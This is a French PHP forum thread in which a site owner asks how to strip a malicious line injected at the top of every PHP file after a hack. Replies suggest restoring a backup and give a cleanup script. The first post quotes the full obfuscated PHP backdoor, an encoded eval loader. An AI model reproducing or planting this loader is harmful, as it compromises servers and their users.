supprimer premiere ligne php

**RyzenOC** · 26/10/2014, 10h44

Je vous explique mon probleme, mon site c'est fait pirater, et tous les fichier php comment par la ligne suivante :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
 
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $mhnrodirxy = '6#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%4%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x782%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj271]y83]256]y78]248]y83]256]y8150%x5c%x7825%x5c%x7878:!>#]y3g%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%vt)esp>hmg%x5c%x7825!<12>j%x5c%825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", N%x5c%x7825tzw>!#]y76]277]y72]265]y39]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825x7825)uqpuft%x5c%x7860msvd},;uqpuft%x2f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%xf<*XAZASV<*w%x5c%x7825)ppc%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x78y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]w6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<sbut%x5c%x7860cpV%x5c%x72]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7826<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5s:%x5c%x785c%x5c%x7825j:^<!%t}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%y6d]281]y43]78]y33]65]y31]55]y85]82%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]8x5c%x7825)7gj6<*id%x5c%x7825%x7825:osvufs:~:<*9-1-r%x5c%x#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*274]y85]273]y6g]273]y76]271]y7d-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%%x7825%x5c%x7827Y%x5c%47]67y]37]88y]27]28y]<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!s%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg);!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%xf:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x782785cq%x5c%x78257**^#zsfvr#%x5gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%xx78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5cc%x7825yy)#}#-#%x5c%x78245c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%j6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%sbnpe_GMFT%x5c%x7860QIQ&f_svufs}%x5c%x787f;!opjudovg}k~~9{d6<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827E{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x782%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%xy35]274]y4:]82]y3:]62]y4c#<!7f;!osvufs}w;*%x5c%x787fde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,479}:}.}-}!#*<%x5c%x7825nfd00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7852]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]25epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tx5c%x7860opjudovg%x5c.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:559-4-bubE{h%x5c%x7825)sutc]252]y74]256]y39]252]x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!b%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqx5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%82f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsx782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7825-bubE{h%x5c%x7825)sutcvt)fubc%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c7825)s%x5c%x7825>%x5c%x782fh#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjids5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**q#%x5c%x782fr%x5c%x7825%x5%x5c%x7827pd%x5c%x78256<pd%x5c%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x782hnpd19275fubmgoj{h1:|:*m<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!78b%x5c%x7825w:!>!%x5c%x7824825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x78y6g]273]y76]271]y7d]252]y74]25]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]2x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5cd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x6767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!z-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-x7827tfs%x5c%x78256<*1x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5cp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x7x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x21%275]y83]248]y83]256]y81]265]p!*#opo#>>}R;msv}.;%x5c%x782f#%x%x782f+*0f(-!#]y76]277]y72]265]y39]2f#%x5c%x7825#%x5c%x782f#o5)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V%x5c%x7860{6~6<tfs%x5c%ozcYufhA%x5c%x78272qj%x5c%x7%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#))utjm6<%x5c%x787fw6*CW&)7g8]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x785c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x78x5c%x782400~:<h%x5c%x7825_t%x5c!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>bc%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%#>>*4-1-bubE{h%x5c%x7825)sutcvt)!7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x7825%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!s%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x78255%x5c%x7824-%x5c%x7824b!>!%x556A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{7**^%x5c%x782f%x5c%x78*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%xf;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2b>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbULL); }x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gpx5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825set($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%156%x75%15678257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x73qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x58256<^#zsfvr#%x5c%x785cq%x5c%xh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b|%x5c%x7824-%x5c%x7824gvod827pd%x5c%x78256<C%x5cyy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]27386057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*7-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<8M4P8]37]278]225]241]334]368]322]3]364]6]#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W0opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%xeplace("%x2f%50%x2e%52%x29%575c%x7825-*.%x5c%x7825if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!is7R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x782R57,27R66,#%x5c%x782fq%x5c%x78%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]973:8297f:5297e:56-%x5c%x7878r.985:52985-tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-E87f%x5c%x787f%x5c%x787f%x5c%x787f<u%x528%141%x72%162%x61%171%x5f%155%x61%160%x28%%x782f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7nj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x575L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]%x61"]=1; function fjfgg($n){return 7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x55)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x78pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7825c!>!%x5c%x7825i%x5%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x725r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!2]K6]72]K9]78]K5]53]ujpo!%x5c%x7824-%x5c%x7824y7%x5c%)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48x7825!|!*#91y]c9y]g2y]CW&)7gj6<*doj%x5c%x78257-C)fepm%x5c%x7825:<**#57]38y]7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%x78257-K)fujsc%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk47,*b%x5c%x7827)fepdof.)fepdof.%x5c%x78Kc]55Ld]55#*<%x5c%x7825bGUTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%2f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]78B%x5c%x7825h>#]y31]278]y3e]T-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<v%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]chr(ord($n)-1);} @error_reporting(0); preg_rc%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)u#>s%x5c%x7825<#462]47y]2581]K78:56985:6197g:74985-rr.93e:5597f-s.!*72!%x5c%x7827!hmg%x5c%x7825)!x5c%x7824-%x5c%x7824]y8%x5c%x25>2q%x5c%x7825<#g6R85,6x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]5<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]mgoj{hA!osvufs!~<3,j%x5c%x7825)sf%x5c%x7878pmpusut!-c%x785cq%x5c%x7825)ufttj%c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!o42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164)U!%x5c%x7827{**u%x5c%x7825!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x78625z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%xx7824-%x5c%x7824-!%x:|:*r%x5c%x7825:-t%x5c%x7825)3o42178}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]257]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%%x5c%x7825r%x5c%x785c2^-%x5c%x7825hO46-tr.984:75983:48984:71]K9]77]D4]8s)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5x7825>j%x5c%x7825!<**3-j%x5c%x7825-bub]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787]32M3]317]445]212]445]43]321]464]284]364]6]234]342]5fepmqyf%x5c%x7827*&7-n%x5c%x78255c%x7825}K;%x5c%x7860ufldp/(.*)/epreg_replacegqpgamsgln'; $teijknserx = explode(chr((161-117)),'6720,63,5803,69,7373,36,8672,44,6670,29,767,57,7056,43,9236,65,4356,46,218,30,729,38,3511,28,3775,42,3355,32,5032,45,2199,43,7703,52,6208,22,4636,51,10048,32,4687,26,2105,35,3038,48,8124,53,7776,45,2996,42,8555,69,141,46,1120,50,3913,59,7596,50,5928,54,4608,28,6021,30,5872,56,409,44,1816,29,9084,25,5656,33,1547,22,1969,59,248,51,8071,31,5982,39,8177,41,4585,23,7159,27,1342,28,7960,33,4082,22,6454,69,5347,41,930,44,5689,55,104,37,1709,59,10080,26,1198,65,635,37,4782,68,2419,24,9328,63,6600,70,3086,32,9032,20,9429,62,4258,51,8846,31,1904,65,2053,52,9830,38,2242,46,7528,68,2789,24,378,31,8049,22,4999,33,1845,59,2702,21,7867,40,3464,47,5502,46,3719,56,6699,21,8374,41,7099,60,1056,64,8218,38,672,57,6121,61,9052,32,3187,41,2894,51,7234,69,9109,66,1590,49,2140,26,8281,52,5179,61,4881,61,2355,36,3267,63,4213,45,6289,58,5077,47,4430,32,3228,39,9175,61,2166,33,6411,43,5269,56,3440,24,5388,66,7458,70,8716,65,974,24,7018,38,3857,56,824,25,2443,69,6850,30,8906,24,6783,67,4523,62,9926,70,5454,48,9301,27,7646,57,4497,26,9868,58,501,37,1453,31,2813,21,890,40,4402,28,538,56,6880,44,9660,51,4850,31,1370,29,3159,28,8102,22,1569,21,3330,25,3118,41,6347,64,8930,51,2592,46,8781,25,998,58,9563,31,1768,48,9594,66,3589,30,0,44,9543,20,3387,53,44,60,5240,29,2028,25,1484,63,2945,51,8877,29,3972,55,6182,26,7927,33,5614,42,9782,48,4942,57,4104,50,8415,62,2391,28,2288,67,7186,48,7755,21,4309,47,2537,55,2638,64,6966,52,4027,55,9711,36,6051,70,3539,50,8477,29,8806,40,6924,42,2723,66,9747,35,7907,20,594,41,6230,59,3619,55,7303,70,8256,25,2512,25,5548,59,8506,49,1298,44,6523,41,7993,56,9996,52,4713,69,8333,41,5325,22,7821,46,1639,70,5124,55,3674,45,5744,59,1170,28,2834,60,9491,52,3817,40,849,41,9391,38,7409,49,341,37,299,42,6564,36,1399,54,8981,51,4154,59,4462,35,187,31,8624,48,1263,35,453,48,5607,7'); $zzvyyvakgj=substr($mhnrodirxy,(69682-59576),(33-26)); if (!function_exists('butqjohtoj')) { function butqjohtoj($eufixdsqjd, $dwdjeayigb) { $uebbqfxsyn = NULL; for($hjeahfvmfz=0;$hjeahfvmfz<(sizeof($eufixdsqjd)/2);$hjeahfvmfz++) { $uebbqfxsyn .= substr($dwdjeayigb, $eufixdsqjd[($hjeahfvmfz*2)],$eufixdsqjd[($hjeahfvmfz*2)+1]); } return $uebbqfxsyn; };} $fkpynwueze="\x20\57\x2a\40\x64\147\x70\150\x77\150\x70\144\x74\147\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x32\55\x32\61\x35\51\x29\54\x20\143\x68\162\x28\50\x33\60\x39\55\x32\61\x37\51\x29\54\x20\142\x75\164\x71\152\x6f\150\x74\157\x6a\50\x24\164\x65\151\x6a\153\x6e\163\x65\162\x78\54\x24\155\x68\156\x72\157\x64\151\x72\170\x79\51\x29\51\x3b\40\x2f\52\x20\161\x69\143\x70\142\x6c\163\x64\167\x65\40\x2a\57\x20"; $kjqamhrsri=substr($mhnrodirxy,(65141-55028),(81-69)); $kjqamhrsri($zzvyyvakgj, $fkpynwueze, NULL); $kjqamhrsri=$fkpynwueze; $kjqamhrsri=(808-687); $mhnrodirxy=$kjqamhrsri-1; ?>

J'aimerais donc enlever ces lignes a tous mes fichiers php.

Merci pour votre aide.

**sabotage** · 26/10/2014, 11h10

Ce n'est pas parce que ce sont de fichiers PHP qu'il faut traiter ce problème en PHP.
Tu n'as pas une copie de sauvegarde de ton site ?

**RyzenOC** · 26/10/2014, 11h15

si mais j'ai fait des motif depuis (elle a 3semmaines ma copie)

J'aimerais bien faire un script pour tout remettre en état, en faite c'est pas tout le site qui est infectée, juste un dossier particulier que je me sert pour testée de nouvelle fonctionnalité.

**Yvan L** · 27/10/2014, 18h49

Salut,

Étant un petit nouveau en php, je procéderais de cette façon : (Je viens de tester et cela fonctionne)

Je scanne le dossier, je récupère dans un array les fichiers avec l'extension php :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
$file_a = scandir ('./');
 
foreach ($file_a as $key => $val) {  
  $ext = pathinfo($val, PATHINFO_EXTENSION);    
  if ($ext == 'php') {    
    $file_b[$key] = $val; 
  }
}

Dans cet array, je supprime le nom du fichier php qui exécute ce script (a.php dans l’exemple) :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
$key = array_search ('a.php', $file_b);
unset ($file_b[$key]);

Je boucle sur l'array en recréant un array avec le contenu du fichier php, et je supprime la clef 0 qui contient ce que tu souhaites supprimer :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
foreach ($file_b as $key => $val) {  
$php_file = $file_b[$key];  
 
$php_old = file ($php_file);  
 
unset ($php_old[0]);

Comme on ne peut pas écrire dans un fichier php, je mets le contenu de $php_old dans un fichier portant comme nom le nom du fichier php plus l'extension txt :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
$file_txt = $php_file . '.txt';
file_put_contents ($file_txt, $php_old);

Je copie ce fichier txt avec son nom par défaut en php, je supprime le fichier .txt et je ferme la boucle :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
copy ($file_txt, $php_file);
unlink ($file_txt);
}

supprimer premiere ligne php

Langage PHP

Discussions similaires

Partager

Partager